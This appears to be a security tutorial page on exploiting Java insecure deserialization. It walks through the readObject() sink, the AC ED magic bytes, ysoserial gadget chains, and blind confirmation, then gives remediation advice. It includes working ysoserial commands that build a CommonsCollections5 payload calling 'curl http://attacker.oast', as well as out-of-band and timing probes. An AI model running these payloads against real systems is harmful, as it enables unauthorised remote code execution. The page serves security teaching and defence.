Insecure Deserialization: From Serialized Blob to Remote Code Execution
Java Deserialization Exploitation
How Java deserialization becomes RCE: ObjectInputStream.readObject, the AC ED magic bytes, library gadget chains, and picking the right ysoserial gadget.
Published
Java deserialization is the archetype of gadget-chain RCE: the application calls readObject() on attacker bytes, and a chain of library classes turns that into command execution. You rarely craft the chain yourself, because ysoserial already has them. This page covers the workflow. Practice on a free live target.
The sink and the tell
The dangerous call is ObjectInputStream.readObject() (and readResolve/readExternal variants) on data you control. Every Java object stream starts with the same magic bytes, which is how you recognize one:
raw bytes AC ED 00 05 0xACED magic, stream version 0x0005
base64 rO0AB... the same header, base64-encodedA cookie, parameter, or body that base64-decodes to a stream starting AC ED 00 05 is a Java deserialization input.
Why library gadgets do the work
readObject() only rebuilds classes on the classpath, so the exploit uses classes from libraries the target already ships. Known gadget libraries include Commons Collections, Spring, ROME, Hibernate, and others, each with chains that end in a command execution. You identify which library is present (error messages, known framework, trial and error) and pick the matching chain.
Generate a payload with ysoserial
ysoserial lists its chains and generates a serialized blob for one:
# list available gadget chains
java -jar ysoserial.jar
# generate a Commons Collections chain that runs a command, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0Deliver the base64 through the same carrier the app deserializes (cookie, parameter, header), and the chain fires during readObject().
Confirm blind, then escalate
Java RCE is usually blind, so confirm out of band or by timing before doing anything real:
OOB 'curl http://<id>.oast' or a DNS lookup -> watch for the pingback
timing 'sleep 10' -> a 10-second slower response proves executionEdge variants
CommonsCollections1..7 try several; the right one depends on the library version
CommonsBeanutils1 when commons-beanutils is present
Spring1 / Spring2 Spring-based classpaths
ROME, Hibernate1, Jdk7u21 other common chains
RMI / JMX / LDAP delivery channels beyond HTTP that also deserializeDifferent chains suit different library versions, so cycle through the plausible ones and watch which produces a callback.
Fixing it
- Do not deserialize untrusted data with
ObjectInputStream. Use a data format like JSON parsed into fixed types. - Add a class allow-list with
ObjectInputFilter(JEP 290) so only expected classes can be rebuilt. - Remove unused gadget libraries from the classpath and keep the rest patched.
Full guidance is in preventing insecure deserialization. Next, the .NET equivalent in .NET and ViewState, or try a chain on a free lab.
← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution